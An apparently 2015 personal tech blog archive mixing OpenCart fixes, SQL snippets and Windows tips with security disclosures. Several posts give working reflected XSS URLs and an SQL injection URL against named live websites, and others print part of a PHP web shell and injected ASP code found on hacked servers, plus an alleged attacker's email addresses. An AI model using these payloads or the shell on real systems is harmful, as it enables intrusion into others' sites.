Skip to main content

Posts

Showing posts from 2015

[FIX] OPENCART - Call to a member function getFirstName() on a non-object

The error Call to a member function getFirstName() on a non-object could appear if there's something wrong in your admin configuration file. Follows a sample configuration file for the admin area <?php // HTTP define('HTTP_SERVER', 'http://www.example.it/admin/'); define('HTTP_CATALOG', 'http://www.example.it/'); // HTTPS define('HTTPS_SERVER', 'http://www.example.it/admin/'); define('HTTPS_CATALOG', 'http://www.example.it/'); // DIR define('DIR_APPLICATION', '/var/www/vhosts/example.it/httpdocs/admin/'); define('DIR_SYSTEM', '/var/www/vhosts/example.it/httpdocs/system/'); define('DIR_LANGUAGE', '/var/www/vhosts/example.it/httpdocs/admin/language/'); define('DIR_TEMPLATE', '/var/www/vhosts/example.it/httpdocs/admin/view/template/'); define('DIR_CONFIG', '/var/www/vhosts/example.it/httpdocs/system/config/'); define('DIR_IMAGE

How to disable mouse right click. Disable image drag and save. Jquery

Jquery disable mouse right click. Disable image drag and save. < script src ="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0-alpha1/jquery.min.js" type =" text/javascript "> </ script > < script type =" text/javascript "> $(document).ready(function(){$('img').on('contextmenu',function(e){return false;});$('img').on('dragstart', function(e){return false;});}); </ script >

FIX Opencart - Warning: vsprintf(): Too few arguments in /admin/controller/dashboard/activity.php on line 19

Warning: vsprintf(): Too few arguments in /admin/controller/dashboard/activity.php on line 19 Backup before doing anything! The problem can be probably missing values in the data of the  customer's activity or the table that is missing after an upgrade. You can look in your table and find the problem in a serialized (before 2.1.0.1) value or convert the values (happens when upgrading to 2.1.0.1) in a json readable format. If you just don't care about the activities data (it's not a big issue) you can truncate the table and accept all the new data. TRUNCATE TABLE `oc_customer_activity`; In the worst case you can recreate the customer_activity table DROP TABLE IF EXISTS `oc_customer_activity`; CREATE TABLE `oc_customer_activity` ( `activity_id` int(11) NOT NULL AUTO_INCREMENT, `customer_id` int(11) NOT NULL, `key` varchar(64) NOT NULL, `data` text NOT NULL, `ip` varchar(40) NOT NULL, `date_added` datetime NOT NULL, PRIMARY KEY (`activity_id`) ) ENGINE=M

wordpress sitemile auctiontheme - XSS

The xss can be used almost anywhere onlinedemo.sitemile.com/auction/advanced-search/?auction_ID=&term=aaa&price_min=&price_max=&zip_code=&radius=&auction_location_cat=&auction_cat_cat=&ref-search example: http://onlinedemo.sitemile.com/auction/advanced-search/?auction_ID=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E

Windows 10 - Start button is not working, windows photo image viewer is crashing, cannot close applications from the taskbar.

I really don't know what happened but I got several problems with a fresh installation of windows 10: Start button not working windows photo image viewer crashing cannot close applications from the taskbar SFC /scannow - not working ... and so on Use explorer (or from the task manager or win button+R) to run cmd.exe (as administrator) from %windir%\system32 and then run "powershell.exe" otherwise run directly %windir%\winsxs\powershell.exe (as administrator). Paste the following string in the powershell and wait Get-AppXPackage -AllUsers | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register "$($_.InstallLocation)\AppXManifest.xml"} I suppose that it should re-register the installed Apps from the xml manifests. references: http://www.thewindowsclub.com/start-menu-does-not-open-windows-10 https://technet.microsoft.com/en-us/library/hh856044.aspx?f=255&MSPPError=-2147217396  

tp-link tl-wn723n - ic 8853a USB\VID_0BDA&PID_8179 Driver Download

USB\VID_0BDA&PID_8179 Driver Download tp-link  tl-wn723n - ic 8853a USB\VID_0BDA&PID_8179 Driver Download All the drivers that I've downloaded/tested from the official pages seem to not work. After searching a little bit I've found that this driver, from medion, works without problem. http://download.medion.com/downloads/treiber/wlan_e421xw8x.exe

Bazaar for windows portable - win32 bzr.exe

Bazaar for windows portable - win32 bzr.exe If you need a fast way to use bazaar to download launchpad repositories , from windows, without losing too much time, you can download from here a version that should work on x32 and 64 bit versions of windows. bazaar for windows 10. bazaar for windows 8. bazaar for windows 7. bazaar for windows xp. You can download here bazaar portable for Windows

Drivers dell inspiron 1545 Intel 1545 Video Card

PCI\VEN_8086&DEV_2A42&SUBSYS_02AA1028&REV_07 PCI\VEN_8086&DEV_2A42&SUBSYS_02AA1028 PCI\VEN_8086&DEV_2A42&CC_030000 PCI\VEN_8086&DEV_2A42&CC_0300 After several crashes and problems I've found a decent driver that works on windows 7 and 8 thanks to the eightforums http://www.eightforums.com/graphic-cards/4418-mobile-intel-series-4-intel-hd-graphics-1st-generation.html you can download 64 and 32 bit versions that are working for sure on  this specific model! 64bit Win7Vista8_64_151719_v2.exe 32bit Win7Vista8_151719_v2.exe Mirrors: 64 bit - http://multiupload.biz/1eh0sfmlik56/Win7Vista8_64_151719_v2_MultiUpload.biz.exe.html rapidgator.net    http://multiupload.biz/ra_1eh0sfmlik56 sendmyway.com    http://multiupload.biz/sw_1eh0sfmlik56 solidfiles.com    http://multiupload.biz/se_1eh0sfmlik56 speedyshare.com    http://multiupload.biz/s2_1eh0sfmlik56 http://multiupload.biz/k4k56wixcyb6/Win7Vista8_151719_v2.exe.html rapidgator.ne

Opencart - SQL to Delete customers of a specifi Users Group and move all the customers to the 1st users group

In this example we delete all the customers of the group with ID 3 and move all the other customers to the first group DELETE FROM oc_customer_activity WHERE customer_id IN (  SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3 ); DELETE FROM oc_customer_history WHERE customer_id IN (  SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3 ); DELETE FROM oc_customer_ip WHERE customer_id IN (  SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3 ); DELETE FROM oc_customer_online WHERE customer_id IN (  SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3 ); DELETE FROM oc_customer_reward WHERE customer_id IN (  SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3 ); DELETE FROM oc_customer_transaction WHERE customer_id IN (  SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3 ); DELETE FROM oc_address WHERE customer_id IN

Opencart - mass update price by percentage, change class id and so on. Simple Sql queries

Opencart disable products with price zero Sometimes there are products with price zero, or other specific column/value, that need to be disabled. It's quite easy to update all your products with this sql UPDATE.     update oc_product set status = 0 where price = 0.0000; Mass Update the prices of the products in opencart lowering the price with -22% - For example when you've imported prices including taxes and you want to add a tax class     update oc_product set price = (price / 1.22); rising the price with +22% (ex. iva italiana)     update oc_product set price = (price * 1.22); Mass Update the tax class of the products in opencart     update oc_product set tax_class_id = 1; if you want to remove the class id from all the products     update oc_product set tax_class_id = 0;

mysql dump and save batch

mysql dump and save with a batch file. It's quite old but works. SET bkdir=d:\manualbackup\data SET SAVEDATA="%bkdir%\mysql.7z" SET mysqldir=c:\mysql\bin SET mysqluser=root SET mysqlpassword=pass REM 7-zip executable path SET SEVENPATH="%PROGRAMFILES%\7-Zip\7z.exe" REM zipped file to save data SET ADDUP=a IF EXIST %SAVEDATA% SET ADDUP=u @REM Change to mysqldir CD %mysqldir% @REM dump database. This is all one line "%mysqldir%\mysqldump.exe" -u %mysqluser% -p%mysqlpassword% --opt --all-databases >"%bkdir%\backup.sql" %SEVENPATH% %ADDUP% -ms=off -pfuxedboost -t7z  %SAVEDATA% "%bkdir%\backup.sql" del "%bkdir%\backup.sql"

IIS Log cleaner (old) method to clean all the IIS logs

IIS Log cleaner 'Determine the number of days for which you want to keep logs logDelDays = 30 'Main driver purgeIISLogs("W3SVC") purgeIISLogs("MSFTPSVC") 'Purge IIS logs Sub purgeIISlogs(strService)     delCount   = 0     Set fso    = CreateObject("Scripting.FileSystemObject")     Set objIIS = GetObject("IIS://" & getComputer() & "/" & strService)     For Each objweb in objIIS         If lCase(objweb.Class) = "iiswebserver" _         Or lCase(objweb.Class) = "iisftpserver" Then             fLogDirPath = objweb.LogFileDirectory & "\" & strService & objweb.name             If fso.FolderExists(fLogDirPath) Then                 For Each fLog in fso.GetFolder(fLogDirPath).Files                     If UCase(Left(fLog.Name,2)) = "EX" And UCase(Right(fLog.Name,4)) = ".LOG" Then                         fileDate = cDate(Mid(fLog.name,7,2) & " &q

Simple script to backup the helm db.

Simple script to backup the helm db. It's quite old and I used it a long time ago. @echo off SET bkdir=d:\manualbackup\data SET SAVEDATA="%bkdir%\helmdb.7z" SET mysqldir=c:\mysql\bin SET mysqlpassword=pass REM 7-zip executable path SET SEVENPATH="%PROGRAMFILES%\7-Zip\7z.exe" SET zippass=pass REM zipped file to save data SET ADDUP=a IF EXIST %SAVEDATA% SET ADDUP=u @REM Change to mysqldir CD %mysqldir% @REM dump database. This is all one line REM "%mysqldir%\mysqldump.exe" -u %mysqluser% -p%mysqlpassword% --opt --all-databases >"%bkdir%\backup.sql" osql -E -S .\Helm -Q "BACKUP DATABASE helmdb TO DISK='%bkdir%\helmdb2.dat'" if exist %bkdir%\helmdb2.dat goto exist goto end :exist ren "%bkdir%\helmdb2.dat" helmdb.dat %SEVENPATH% %ADDUP% -ms=off -p%zippass% -t7z  %SAVEDATA% "%bkdir%\helmdb.dat" del "%bkdir%\helmdb.dat" "%bkdir%\helmdb2.dat" :en

How to restore permissions in the web folders - script restore permissions webfolders.vbs (old)

How to restore permissions in the web folders - script restore permissions webfolders.vbs '------------------------------------------------------------- ' Domains Folders Permissions Rebuild Script ' ============================================================ ' Re-adds the permissions for the IIS anonymous users to the ' domains folders ' ------------------------------------------------------------ ' Copyright © 2004 Andrew Taylor ' ------------------------------------------------------------ ' Usage: Save this script as a .vbs file and run: '        cscript.exe "c:\PermissionsRebuild.vbs" ' ------------------------------------------------------------ ' Enquiries to andy@4dhosting.com ' I disclaim all responsibility for results of this script ' which is run at your own risk '------------------------------------------------------------- '------------------------------------------------------------- '

old vb script to restore dns on windows server - Do not use on new windows servers

old vb script to restore dns on windows server - Do not use on new windows servers.  restoredns.vbs '------------------------------------------------------------- ' Global DNS Rebuild Script ' ~~~~~~~~~~~~~~~~~~~~~~~~~ ' Rebuilds your entire DNS structure for all domains in Helm. ' Usefull for when moving servers, changing IPs, or for fixing ' messed up DNS records. ' ' It would be best to delete your DNS zones on your DNS server ' before running, to ensure new DNS zones are brand new! ' ' This script works with multi-server setups, run it on the ' control server! ' ' If you are using the script to change servers, or update IPs ' update all your system settings in the Helm Control Panel, ' then run this script.' ' This also rebuilds global records that ADMIN and RESELLERS ' have added. It gets the entrys the domain's reseller has ' added, then gets the entrys the ADMIN has added. ' ' U

How to insert an opencart category with SQL only

How to insert an opencart category with SQL only. I've always set the default store (0). SET @catname = 'MyCategory'; INSERT INTO `test`.`oc_category` (`category_id`, `image`, `parent_id`, `top`, `column`, `sort_order`, `status`, `date_added`, `date_modified`) VALUES (NULL, '', '0', '0', '1', '0', '1', '2015-09-02 00:00:00', '2015-09-02 00:00:00'); SET @lastinsert = LAST_INSERT_ID(); /*2 insert for  language id 1english and id 2 italian - in my case*/ INSERT INTO `test`.`oc_category_description` (`category_id`, `language_id`, `name`, `description`, `meta_title`, `meta_description`, `meta_keyword`) VALUES (@lastinsert, '1', @catname, @catname, @catname, @catname, @catname); INSERT INTO `test`.`oc_category_description` (`category_id`, `language_id`, `name`, `description`, `meta_title`, `meta_description`, `meta_keyword`) VALUES (@lastinsert, '2', @catname, @catname, @catname, @catname, @catn

http://www.foliopages.com/php-photo-gallery-no-database XSS, files informations leakage, directory traversal

http://www.foliopages.com/php-photo-gallery-no-database Sample XSS http://www.foliopages.com/demos/folio-gallery/demo.php?album=Big+Bear+California</title><script>alert('http://trueliarx.blogspot.com');</script> (with multiple pages) http://www.foliopages.com/demos/folio-gallery/demo.php?album=Big+Bear+California&p= <script>alert('http://trueliarx.blogspot.com');</script> http://localhost/demo.php?album=frankenstein%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E%3C Errors Warning : scandir(albums/Big Bear California</title><script>alert('http://trueliarx.blogspot.com');</script>): failed to open dir: No such file or directory in /home/foliopag/public_html/demos/folio-gallery/folio-gallery.php on line 162 Warning : scandir(): (errno 2): No such file or directory in /home/foliopag/public_html/demos/folio-gallery/folio-gallery.php on line 162 Warning : Invalid argument supplied for foreac

https://www.myfonts.com/ | raising errors - no tests

https://www.myfonts.com/ Error raised by using a specific image that doesn't fit any kind of character. Submit without any value to get the error. That's all. ( ! ) Warning: implode(): Invalid arguments passed in /home/serve_me/www/trunk/include/WhatTheFont/Utils.php on line 24 Call Stack # Time Memory Function Location 1 0.0000 246064 {main}( ) .../rewrite.php : 0 2 0.0246 1993640 require( '/home/serve_me/www/trunk/webroot/widgets/wtf/wtf.php' ) .../rewrite.php : 52 3 0.0300 3346192 require( '/home/serve_me/www/trunk/webroot/widgets/wtf/results.php' ) .../wtf.php : 19 4 0.0484 3572104 WhatTheFont\WhatTheFont->getFontMatches( ) .../results.php : 29 5 0.0484 3572336 WhatTheFont\Client->getResult( ) .../WhatTheFont.php : 192 6 0.0484 3572336 WhatTheFont\Client->attemptConnection( ) .../Client.php : 227 7 0.0500 3572872 WhatTheFont\Client->getMessage( ) .../Client.php : 208 8 0.0500 3573080 Wh

How to show PHP errors in the web browser - the php error reporting

When you need to show all the PHP errors in the browsers just use this code ini_set('display_errors',1); ini_set('display_startup_errors',1); error_reporting(E_ALL); It should work with any version of PHP to report quite any kind of PHP error while you are debugging your code. Remember to disable the error reporting when in production.

FIX - phpmysql error - #1273 - #1273 - Unknown collation: 'utf8mb4_general_ci' - with sql file only

How to FIX - phpmysql error - #1273 - #1273 - Unknown collation: 'utf8mb4_general_ci' Why does it happens? The utf8mb4_unicode_ci is supported only on mysql servers 5.5.3+ and you will not be available on older servers. That's all. The worst solution if you have only an sql file you can TRY to ... COLLATE utf8mb4_unicode_ci to utf8_general_ci but it's NOT SAFE because you can probably have problems with the encoding!!! I've tested and it also works but really don't know if there can be consequences. The best solution Export from the original database in utf8_general_ci or, if you just have the sql, Import your data in a newer mysql server (5.5.3+) and export again with utf8_general_ci! Another way to do it If you want to operate on a live database run this sql for each table. ALTER TABLE name-of-table CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci Sample (crappy) php code <?php $dbuser = 'test2'; $d

how to use owncloud on windows server

Even if it's not suggested you can run ownlcoud scripts on your local windows server go in /lib/private/util.php and comment or remove near line 581: /*         if(OC_Util::runningOnWindows()) {             $errors[] = [                 'error' => $l->t('Microsoft Windows Platform is not supported'),                 'hint' => $l->t('Running ownCloud Server on the Microsoft Windows platform is not supported. We suggest you ' .                     'use a Linux server in a virtual machine if you have no option for migrating the server itself. ' .                     'Find Linux packages as well as easy to deploy virtual machine images on <a href="%s">%s</a>. ' .                     'For migrating existing installations to Linux you can find some tips and a migration script ' .                     'in <a href="%s">our documentation</a>.',                     [

axioscloud.it | xss, system compromise

There are too many server/sites in this case. Append that string: <video src=1 onerror=alert('testamento')> From server https://re1.axioscloud.it/Secret/RELogOff.aspx?Error_Desc= to (change the initial RE part with nr) server https://re35.axioscloud.it/Secret/RELogOff.aspx?Error_Desc= https://redemo.axioscloud.it/Secret/RELogOff.aspx?Error_Desc= www.sissiweb.it - the system is already compromised - win

Problem with facebook business page that cannot be shown on mobile - cannot search facebook page via smartphone

Problem with facebook business page that cannot be shown on mobile - cannot search facebook page via smartphone Facebook business page cannot be found on facebook mobile from any kind of mobile device. You can try: - to contact the facebook's customer care ... that doesn't reply too often. - to unpublish (hide) and publish your facebook page. This method works for pages that cannot be reached at all (desktop and mobile). - Merge eventual duplicate facebook business pages. Maybe the problem is that only one will show in the searches. - make sure to configure/assign the definitive facebook web address from the page settings. Those are NOT definitive solutions! Problema pagina facebook business non presente da mobile - impossibile cercarla da telefono Una pagina facebook business non viene trovata nelle ricerche da mobile e non è possibile accedere da qualsiasi telefono Potete provare a: - a contattare assistenza facebook ... che non risponde spesso. - a nascondere e ripubbl

php shell found on a hacked server

php shell found on a hacked server andriroot@gmail.com is the email of the attacker. He's known as andri Cyber4rt, he's from jakarta, he usually use the same email for frauds, he usually abuses of old bugs of whcms, plesk and so on. His alt. email address is andri.cyber4rt@gmail.com.  if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; } function printLogin(){ echo "<html><head><title>./DM ExploiterZ [ 0day ]</title> <style>body {font-family: 'Audiowide',serif;font-size: 20px;} </style></head> <body bgcolor=black><center><br><br> <nobr><font face=Audiowide color=blue>ExploiterZ <font color=white>[ 0day ]</font></nobr><br><br> <form method=post> <img src='https://fbcdn-photos-c-a.akamaihd.net/hphotos-ak-ash3/t1/994064_479867415465112_1199170647_n.jpg'>

useless asp stuff found on an hacked server

useless asp  stuff found on an hacked server <% if request.QueryString("1")<>2 then response.Write "<iframe src=""http://127.0.0.1"" width=100% height=100% frameborder=0></iframe>" response.End() end if %> <% if request.Form("c")<>"" then randomize shuliang=Int((10000000 - 1 + 10000000) * Rnd + 1) title=Replace(request.Form("title")," ","-") path1=replace(server.mappath("1.asp"),"1.asp","") path=path1&title&"-"&shuliang&".html" dbfile=path1&"1.htm" response.Write path&"<br>" response.Write dbfile&"<br>" str1=Replace(request.Form("c"),"<br><","<")&"</body></html>" str2="<a href="&title&"-"&shuliang&".html""&g

http://www.lcsoftware.com/ | sql injection, xss, system compromise

sample: http://www.lcsoftware.com/lcss-modules/listings/PublicListingController.php?Action=def&id=11%277&statusFilter=40&pageSize=5&pos=0 error: Failed to execute query: select listing_id, TITLE, ADDRESS, CITY, ZIP, STATE, PRICE, DESCRIPTION, TYPE_ID, BEDS, BATHS, FLOORS, SQUARE_FEET, LOT_SIZE, GARAGE_SIZE, YEAR_BUILD, ANNUAL_PROPERTY_TAX, STATUS_ID, HOME_FEATURES, COMMUNITY_FEATURES, MLS, USER_ID, CREATED, RANK, IS_FEATURE_LISTING from LCSS_LISTING WHERE USER_ID='11'7' ORDER BY STATUS_ID, PRICE ASC LIMIT 0, 5